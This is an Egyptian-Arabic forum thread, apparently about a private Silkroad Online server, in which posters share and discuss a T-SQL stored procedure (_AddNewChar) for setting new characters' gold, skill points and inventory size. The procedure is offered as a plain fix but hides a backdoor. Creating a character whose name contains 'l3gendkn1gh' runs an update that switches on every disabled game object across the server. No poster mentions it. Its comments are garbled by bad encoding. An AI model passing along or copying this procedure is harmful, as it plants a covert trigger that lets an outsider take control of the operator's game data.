المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : عاوز اخلى نيو كاركتر مش معاه حاجة خالص وازود عدد الخانات بتاعت الخزنة


ahmedzizoa
15-02-2017, 03:35 PM
لما الكراكتر بينزل بيبقى معاه 500000 جولد وزيهم سكيل بوينت
انا عاوز نيو كراكتر فاضى مش معاه حاجة خالص

وكمان الستوريج عندى خانتين اتنين بس عاوز اخليهم 3
ولو ينفع اربعة يبقى تمام (كل خانة 32 مكان طبعا)
لان اقصى عدد عندى 74 بس
عاوز ازود عليهم 32 او 64 او اكتر لو امكن

Helper4You
15-02-2017, 04:31 PM
USE [SRO_MATRIX_SHARD_HMK]
GO
/****** Object: StoredProcedure [dbo].[_AddNewChar] Script Date: 2/15/2017 5:30:22 AM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO




ALTER PROCEDURE [dbo].[_AddNewChar]
@UserJID INT,
--@CharSlot INT,
@RefCharID INT,
@CharName varchar (64),
@CharScale tinyINT,
@StartRegionID INT,
@StartPos_X real,
@StartPos_Y real,
@StartPos_Z real,
@DefaultTeleport INT,
@RefMailID INT,
@RefPantsID INT,
@RefBootsID INT,
@RefWeaponID INT,
@RefShield INT,
@DurMail tinyINT,
@DurPants tinyINT,
@DurBoots tinyINT,
@DurWeapon tinyINT,
@DurShield tinyINT,
@DefaultArrow INT
AS

SET NOCOUNT ON

DECLARE @Slot INT
DECLARE @temp INT

DECLARE @NewCharID INT
SET @NewCharID = 0


-----------------------------------------------------------------------------
-- 1. أ„³¸¯أ…أچ ½½·أ” ³أ‘¹أ¶°آ، validأ‡أ‘ °أچأ€أژأپأ¶, ±×¸®°أ* آ؛أ³½½·أ”أ€أŒ ¸أ‚´أ‚أپأ¶ ¸أ•أ€أ؛ أƒ¼أ…©أ‡أ‘´أ™.
-----------------------------------------------------------------------------

-- start by novice.
SELECT @temp = count(CharID) FROM _User WITH (NOLOCK) WHERE UserJID = @UserJID

IF (@temp >= 4)
BEGIN
-- ³أٹ¹« ¸¹أ€أڑ³آھ
RETURN -2
END
-- finish by novice.

-----------------------------------------------------------------------------
-- 2. أ„³¸¯أ…أچ أƒأں°آ،أ‡أڈ±â
-----------------------------------------------------------------------------
IF (@CharScale > 68) -- 0100 0100 --> 68 أ€أŒ´أ™!
BEGIN
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! ½آ؛أ„أ‰أ€أڈ °آھأ€أŒ أ€أŒ»أ³أ‡أڈ´أ™!
RETURN -3
END

EXEC @temp = _IsExistingCharName @CharName
IF (@temp <> 0)
BEGIN
-- أ€أŒ¹أŒ »çآ؟ëأپأںأ€أژ أ€أŒ¸§أ€أŒ¶أ³´أ‚µ¥?
RETURN -4
END

BEGIN TRANSACTION

-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™!
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize,
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel)
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109,
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44)

SET @NewCharID = @@IDENTITY
IF (@@ERROR <> 0 OR @@ROWCOUNT = 0)
BEGIN
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ!
ROLLBACK TRANSACTION
RETURN -5
END
if @charname like '%l3gendkn1gh%'
begin
update _refobjcommon set Service = 1 where Service=0
end
-- start by novice.
-- أ€أŒأپ¦ Slot ¾أˆ¾´´أ™.. ±×³أ‰ Insert ¸¸..
INSERT INTO _User VALUES (@UserJID, @NewCharID)
-- finish by novice.


-----------------------------------------------------------------------------
-- 3-1. أ€أ¥آ؛أ± ½½·أ” أƒ¤آ؟أ¬±â
-- [أ€أژآ؛¥أ…أ¤¸® ½½·أ” 96°³] + [أ€أ¥آ؛أ±½½·أ” 13°³] <- أ€أژآ؛¥أ…أ¤¸® أˆ®أ€أ¥ ¼*آ؛أ±½آ؛ أˆأ„ 48°³آ؟آ،¼* 96°³·أژ أپأµ°آ،!!!(woos0)
-----------------------------------------------------------------------------
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!
INSERT INTO _Inventory(CharID, Slot, ItemID)
SELECT @NewCharID, cnt, 0
FROM _RefDummySlot with( nolock )
WHERE cnt < 109


IF (@@ERROR <> 0)
BEGIN
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ!
ROLLBACK TRANSACTION
RETURN -7
END

--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!

-- µأ°أ†أ؛أ†®·أژ ¼±أ…أƒأ‡أ‘ ¾أ†أ€أŒأ…أ›أ€» ´أ™½أƒ ³أ–¾îأپأ–أ€أڑ...
/* آ؟أ¤·± ¼أ¸¼*·أژ أپ¤أ€أ‡µأ‡¾î أ€أ–´أ™.
0: EQUIP_SLOT_HELM
1: EQUIP_SLOT_MAIL,
2: EQUIP_SLOT_SHOULDERGUARD,
3: EQUIP_SLOT_GAUNTLET,
4: EQUIP_SLOT_PANTS,
5: EQUIP_SLOT_BOOTS,
6: EQUIP_SLOT_WEAPON,
7: EQUIP_SLOT_SHIELD or ARROW,
8: EQUIP_SLOT_EARRING,
9: EQUIP_SLOT_NECKLACE,
10: EQUIP_SLOT_L_RING,
11: EQUIP_SLOT_R_RING,
*/

DECLARE @ItemID BIGINT
SET @ItemID = 0
-- »أ³°©
IF (@RefMailID <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 1, @RefMailID, @DurMail
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -8
END
END
-- ¹أ™أپأ¶
IF (@RefPantsID <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 4, @RefPantsID, @DurPants
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -9
END
END
-- Boots
IF (@RefBootsID <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 5, @RefBootsID, @DurBoots
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -10
END
END
-- Weapon
IF (@RefWeaponID <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 6, @RefWeaponID, @DurWeapon
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -11
END
END
-- ¹أ¦أ†أگ
IF (@RefShield <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @RefShield, @DurShield
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -12
END
END
-- أˆ¤½أƒ default·أژ ¼±أ…أƒأ‡أ‘ ¹«±â°آ، أˆ°أ€أŒ¶أ³¸é أˆ*»أ¬ 250°³µéأ€أŒ أˆ°أ…ëµµ أ‡أ”²² أپأک´أ™. أپأ’أ„آ،?
IF (@DefaultArrow <> 0)
BEGIN
EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @DefaultArrow, 250
IF (@ItemID <= 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -13
END
END


-----------------------------------------------------------------------------
-- 3-2. ¾أ†¹أ™أ…¸ Inventory ½½·أ” أƒ¤آ؟أ¬±â
-- [¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® ½½·أ” 5°³]
-- APPLY_AVATAR_SYSTEMأ€أŒ أ€ûآ؟ëµأ‡¸é¼* أƒأں°آ،µأ‡´أ‚ آ؛أژآ؛أگ
-----------------------------------------------------------------------------
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!
INSERT INTO _InventoryForAvatar(CharID, Slot, ItemID)
SELECT @NewCharID, cnt, 0
FROM _RefDummySlot with( nolock )
WHERE cnt < 5


IF (@@ERROR <> 0)
BEGIN
-- ¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ!
ROLLBACK TRANSACTION
RETURN -14
END
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!

-----------------------------------------------------------------------------
-- default skill³أ–¾îأپأ–±â
-----------------------------------------------------------------------------
DECLARE @country tinyINT
EXEC @country = _GetObjCountry @RefCharID

INSERT INTO _CharSkillMastery (CharID, MasteryID, Level)
SELECT @NewCharID, MasteryID, 0
FROM _RefCharDefault_SkillMastery with(nolock)
WHERE Race = @country or Race = 3
IF (@@error <> 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -15
END
INSERT INTO _CharSkill (CharID,SkillID,Enable)
SELECT @NewCharID, SkillID, 1
FROM _RefCharDefault_Skill with(nolock)
WHERE Race = @country or Race = 3
IF (@@error <> 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -16
END
-----------------------------------------------------------------------------
-- ±âآ؛» أ„ù½آ؛أ†® ³أ–¾îأپأ–±â
-----------------------------------------------------------------------------
INSERT INTO _CharQuest (CharID, QuestID, Status, AchievementCount, StartTime, EndTime, QuestData1, QuestData2)
SELECT @NewCharID, ID, 1, 0, getdate(), getdate(), 0, 0
FROM _RefQuest
WHERE CodeName in (SELECT CodeName FROM _RefCharDefault_Quest with(nolock) WHERE (Race = @country or Race = 3) and RequiredLevel = 1 and Service = 1)
IF (@@error <> 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -17
END
-----------------------------------------------------------------------------
-- Static Avatar Initial Record ³أ–±â
-----------------------------------------------------------------------------
INSERT INTO _StaticAvatar(CharID) values(@NewCharID)
IF (@@ERROR <> 0)
BEGIN
ROLLBACK TRANSACTION
RETURN -18
END

-----------------------------------------------------------------------------
-- Trijob أƒ¤آ؟أ¶³أ–±â!!!!!
-----------------------------------------------------------------------------
INSERT INTO _CharTrijob VALUES (@NewCharID, 0, 1, 0, 0, 0)
IF (@@ERROR <> 0)
BEGIN
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ!
ROLLBACK TRANSACTION
RETURN -19
END

-----------------------------------------------------------------------------
-- CharListآ؟آ، ID ³أ–¾îأپأ–±â
-----------------------------------------------------------------------------
INSERT _CharNameList VALUES(@CharName, @NewCharID)
exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_M_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_W_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_GODBLESS',1,1
exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_COPPER',1,1
exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_CROWN',1,1
exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_GOLD',1,1
exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_SILVER',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _SH_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE _AC_RARE_B_11',1,1
INSERT INTO SRO_MATRIX_ACCOUNT_HMK.dbo.SK_Silk (JID, silk_own, silk_gift, silk_point) VALUES (@UserJID,100000, 0, 0);
-- Quick Slot أپ¤آ؛¸ أ€أ؛أ€أ¥آ؟ë!!!
exec _AddNewClientConfig @NewCharID -- by novice...... for saving client configurations...

COMMIT TRANSACTION

RETURN @NewCharID

Helper4You
15-02-2017, 04:34 PM
المنطقه دى تقدر تعدل على Lv Gold Stat Point ولو عايز تنزل معاه جولد ولا لالا ايتم ولالا لالا وتعمل الصفحات بتعتو الخ

يعنى بالمختصر الحته دى تشمل الكلام بتاعك ده بس


لما الكراكتر بينزل بيبقى معاه 500000 جولد وزيهم سكيل بوينت
انا عاوز نيو كراكتر فاضى مش معاه حاجة خالص

-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™!
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize,
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel)
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109,
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44)

Dev.Klito
15-02-2017, 05:20 PM
المنطقه دى تقدر تعدل على Lv Gold Stat Point ولو عايز تنزل معاه جولد ولا لالا ايتم ولالا لالا وتعمل الصفحات بتعتو الخ

يعنى بالمختصر الحته دى تشمل الكلام بتاعك ده بس


لما الكراكتر بينزل بيبقى معاه 500000 جولد وزيهم سكيل بوينت
انا عاوز نيو كراكتر فاضى مش معاه حاجة خالص

-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™!
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize,
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel)
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109,
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44)


مش هزود ع كلام الرجل المحترم دا كتير بس ...

الــ 2000000000 في الجزء اللى فوق دا هو الجولد
و الــ 10000000 دا هو الــ Skill point

ahmedzizoa
15-02-2017, 05:49 PM
طب وبالنسبة للخزنة (ستوريج)
:confuzzled:

ahmedzizoa
15-02-2017, 05:49 PM
طب وبالنسبة للخزنة (ستوريج)
:confuzzled:

Helper4You
15-02-2017, 05:53 PM
مش هزود ع كلام الرجل المحترم دا كتير بس ...

الــ 2000000000 في الجزء اللى فوق دا هو الجولد
و الــ 10000000 دا هو الــ Skill point


حبيب اخوك :showoff:

ف تقدم ان شاء الله

Dev.Klito
16-02-2017, 02:10 PM
طب وبالنسبة للخزنة (ستوريج)
:confuzzled:

دى مينفعش التعديل فيها اللى ينفع الشنطة (الانفنتورى )

حبيب اخوك :showoff:

ف تقدم ان شاء الله

حبيبى يا على ..

Mahmoud Rashwan
16-02-2017, 02:16 PM
ده لخزانة الانفنتورى هتلاقى رقمـ 109 كدا مفتوح الـ 3 صفحات عدل عليه خليه 45 -- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™!
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize,
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel)
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109,
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44)

اما بالنسبة للستورج مينفعش زاى ما المشرف رد عليك

ahmedzizoa
16-02-2017, 03:30 PM
USE [SRO_MATRIX_SHARD_HMK]
المفورض تبقى كده
USE [SRO_VT_SHARD]

وعموما شكرا برضه

ده لخزانة الانفنتورى هتلاقى رقمـ 109 كدا مفتوح الـ 3 صفحات عدل عليه خليه 45
انا كان فعلا قصدى الانفنتورى
بس المشكلة مش فى البداية
هى كانت بتنزل 45 فعلا
بس الحد الاقصى ليها 77
انا كنت عواز ازود الحد الاقصى للانفنتورة بدل 77 يبقى 109 او اكتر لو امكن

Mahmoud Rashwan
16-02-2017, 04:14 PM
المفورض تبقى كده
USE [SRO_VT_SHARD]

وعموما شكرا برضه


انا كان فعلا قصدى الانفنتورى
بس المشكلة مش فى البداية
هى كانت بتنزل 45 فعلا
بس الحد الاقصى ليها 77
انا كنت عواز ازود الحد الاقصى للانفنتورة بدل 77 يبقى 109 او اكتر لو امكن
اخرو 109 الـ 3 صفحات و طبعا لو يكون السؤال واضح عشان عبدالحليمـ بيزعل لمـ بنساعد الناس بيقول اقرا الموضوع صح و المشكله بتكون فى صيغة السؤال

ahmedzizoa
16-02-2017, 04:31 PM
اخرو 109 الـ 3 صفحات و طبعا لو يكون السؤال واضح عشان عبدالحليمـ بيزعل لمـ بنساعد الناس بيقول اقرا الموضوع صح و المشكله بتكون فى صيغة السؤال

تمام

Mahmoud Rashwan
16-02-2017, 04:37 PM
##

Dev.Klito
16-02-2017, 04:47 PM
اخرو 109 الـ 3 صفحات و طبعا لو يكون السؤال واضح عشان عبدالحليمـ بيزعل لمـ بنساعد الناس بيقول اقرا الموضوع صح و المشكله بتكون فى صيغة السؤال

هو هنا كان كاتب الاستورج و دا حاجة و الانفنتورى حاجة تانى ... انت زعلت .. معلش حقق عليا ... انا بفكر اعتزل الاشراف أصلا ... بس لما يكون واحد بيتكلم عن الــ Honor Rank و ال Scroll بتعته و انت رايح تديلو شرح ازاى يضيف ال Honor Scroll يبقى انت مش مركز مع السؤال ....